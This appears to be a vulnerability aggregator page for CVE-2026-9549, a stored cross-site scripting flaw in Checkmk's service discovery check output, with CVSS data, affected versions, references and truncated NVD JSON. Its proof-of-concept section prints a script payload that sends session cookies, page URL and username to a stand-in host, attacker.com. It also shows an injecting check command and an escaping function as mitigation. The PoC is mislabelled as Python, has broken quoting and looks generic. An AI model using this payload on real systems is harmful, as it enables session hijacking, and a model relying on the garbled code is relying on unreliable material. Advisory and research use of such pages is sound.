CVE-2026-9549

Description

Stored cross-site scripting in the service discovery active check output in Checkmk <2.5.0p5, <2.4.0p31, <2.3.0p48, and all 2.2.0 versions allows an administrator who can configure active or custom checks to inject malicious HTML or JavaScript into check output that executes in the browser of an admin or a user with host read permissions when they run the check on the service discovery page.

CVSS Details

CVSS Score

4.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:checkmk:checkmk:2.2.0:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:checkmk:checkmk:2.2.0:b1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:checkmk:checkmk:2.2.0:b2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:checkmk:checkmk:2.2.0:b3:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:checkmk:checkmk:2.2.0:b4:*:*:*:*:*:* - VULNERABLE

Checkmk < 2.5.0p5

Checkmk < 2.4.0p31

Checkmk < 2.3.0p48

Checkmk all 2.2.0 versions

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-9549 PoC - Stored XSS in Checkmk Service Discovery
// Attack scenario: Inject malicious JavaScript via active check configuration

// Step 1: Create a malicious active check with XSS payload
// This would be done through Checkmk's WATO configuration interface

// Example XSS payload for the check output:
const xssPayload = `
<script>
  // Steal session cookies
  document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '"/>');
  
  // Or perform more sophisticated attacks
  fetch('http://attacker.com/api/exfiltrate', {
    method: 'POST',
    body: JSON.stringify({
      session: document.cookie,
      url: window.location.href,
      user: document.querySelector('.username')?.innerText
    })
  });
</script>
`;

// Step 2: The payload is stored and executed when:
// - An admin views the service discovery page
// - The active check output is rendered
// - No sanitization is applied to the check output

// Example check configuration that triggers the XSS:
const maliciousCheckConfig = {
  name: 'malicious_service_check',
  service_description: 'XSS Test Service',
  // Inject payload in the check output
  check_command: 'echo "<script>alert("XSS")</script>"'
};

// Mitigation: Apply HTML encoding before rendering check output
function sanitizeOutput(input) {
  return input
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9549
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9549
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9549/
[4] VulDB https://vuldb.com/cve/CVE-2026-9549
[5] https://checkmk.com/werk/17993

Raw JSON Data

JSON

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"attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:-:*:*:*:*:*:*", "matchCriteriaId": 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"matchCriteriaId": "BC2F31CA-D ... (truncated)